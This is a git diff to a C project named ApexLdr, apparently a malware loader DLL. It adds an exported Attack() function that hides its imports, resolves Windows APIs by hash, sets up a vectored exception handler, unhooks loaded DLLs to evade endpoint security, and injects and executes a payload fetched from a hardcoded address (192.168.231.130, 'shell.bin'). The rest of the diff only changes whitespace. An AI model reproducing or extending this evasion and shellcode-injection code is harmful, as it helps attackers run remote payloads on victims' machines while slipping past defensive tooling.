diff --git a/ApexLdr/cmake-build-debug/.cmake/api/v1/reply/index-2024-06-17T12-34-55-0343.json b/ApexLdr/cmake-build-debug/.cmake/api/v1/reply/index-2024-06-17T14-19-59-0797.json similarity index 100% rename from ApexLdr/cmake-build-debug/.cmake/api/v1/reply/index-2024-06-17T12-34-55-0343.json rename to ApexLdr/cmake-build-debug/.cmake/api/v1/reply/index-2024-06-17T14-19-59-0797.json diff --git a/ApexLdr/include/common.h b/ApexLdr/include/common.h index 99a0de7..13e6ea5 100644 --- a/ApexLdr/include/common.h +++ b/ApexLdr/include/common.h @@ -9,6 +9,7 @@ extern PSTR url; extern PSTR endpoint; extern SIZE_T sSize; + // winapi.c #define INITIAL_SEED 8 @@ -30,8 +31,20 @@ typedef struct _API_HASHING { fnLoadLibraryA pLoadLibraryA; } API_HASHING, * PAPI_HASHING; -// inject.c +typedef void*(NTAPI* fnAddVectoredExceptionHandler)( + ULONG First, + PVECTORED_EXCEPTION_HANDLER Handler +); +typedef long(NTAPI* fnRemoveVectoredExceptionHandler)( + PVOID Handle +); + +// inject.c +#include "inject.h" + +//unhook.c +#include "unhook.h" // apihashing.c FARPROC GetProcAddressH(HMODULE hModule, DWORD dwApiNameHash); @@ -44,4 +57,10 @@ BOOL ApiHammering(DWORD Stress); DWORD Download(char** response, PVOID url, PVOID endpoint, BOOL ssl); //iatcamo.c -VOID IatCamouflage(); \ No newline at end of file +VOID IatCamouflage(); + +//dllmain.c + +#define kernel32dll_CRC32 0x00 +#define AddVectoredExceptionHandler_CRC32 0x00 +#define RemoveVectoredExceptionHandler_CRC32 0x00 \ No newline at end of file diff --git a/ApexLdr/src/dllmain.c b/ApexLdr/src/dllmain.c index e169b34..b819541 100644 --- a/ApexLdr/src/dllmain.c +++ b/ApexLdr/src/dllmain.c @@ -6,6 +6,42 @@ PSTR url = "192.168.231.130"; PSTR endpoint = "shell.bin"; SIZE_T sSize = -1; +extern __declspec(dllexport) int Attack() +{ + PVOID pVehHandler = NULL; + PVOID pInjectedPayload = NULL; + + if (!pPayload || !sSize) + return -1; + + IatCamouflage(); + + fnAddVectoredExceptionHandler pAddVectoredExceptionHandler = (fnAddVectoredExceptionHandler)GetProcAddressH(GetModuleHandleH(kernel32dll_CRC32), AddVectoredExceptionHandler_CRC32); + fnRemoveVectoredExceptionHandler pRemoveVectoredExceptionHandler = (fnRemoveVectoredExceptionHandler)GetProcAddressH(GetModuleHandleH(kernel32dll_CRC32), RemoveVectoredExceptionHandler_CRC32); + + if (!pAddVectoredExceptionHandler || !pRemoveVectoredExceptionHandler) + { + return -1; + } + + pVehHandler = pAddVectoredExceptionHandler(1, VectoredExceptionHandler); + if (pVehHandler == NULL) + return -1; + + // Unhook loaded dlls + UnhookAllLoadedDlls(); + + if (!pRemoveVectoredExceptionHandler(pVehHandler)) + return -1; + + if (!Inject(pPayload, sSize, &pInjectedPayload)) + return -1; + + Execute(pInjectedPayload); + return 0; +} + + BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) { switch (dwReason) diff --git a/ApexLdr/src/unhook.c b/ApexLdr/src/unhook.c index 8489364..36dd18a 100644 --- a/ApexLdr/src/unhook.c +++ b/ApexLdr/src/unhook.c @@ -1,6 +1,5 @@ #include "unhook.h" - SIZE_T g_sTextSectionSize = (SIZE_T) NULL; LPVOID g_pLocalTxtSectionAddress = NULL; LPVOID g_pKnownDllTxtSectionAddress = NULL; diff --git a/ApexLdr/src/winapi.c b/ApexLdr/src/winapi.c index f2007c2..ccd9026 100644 --- a/ApexLdr/src/winapi.c +++ b/ApexLdr/src/winapi.c @@ -6,18 +6,15 @@ UINT32 HashStringJenkinsOneAtATime32BitA(_In_ PCHAR String) SIZE_T Index = 0; UINT32 Hash = 0; SIZE_T Length = lstrlenA(String); - while (Index != Length) { Hash += String[Index++]; Hash += Hash << INITIAL_SEED; Hash ^= Hash >> 6; } - Hash += Hash << 3; Hash ^= Hash >> 11; Hash += Hash << 15; - return Hash; } @@ -34,10 +31,8 @@ UINT32 HashStringJenkinsOneAtATime32BitW(_In_ PWCHAR String) Hash += Hash << INITIAL_SEED; Hash ^= Hash >> 6; } - Hash += Hash << 3; Hash ^= Hash >> 11; Hash += Hash << 15; - return Hash; } \ No newline at end of file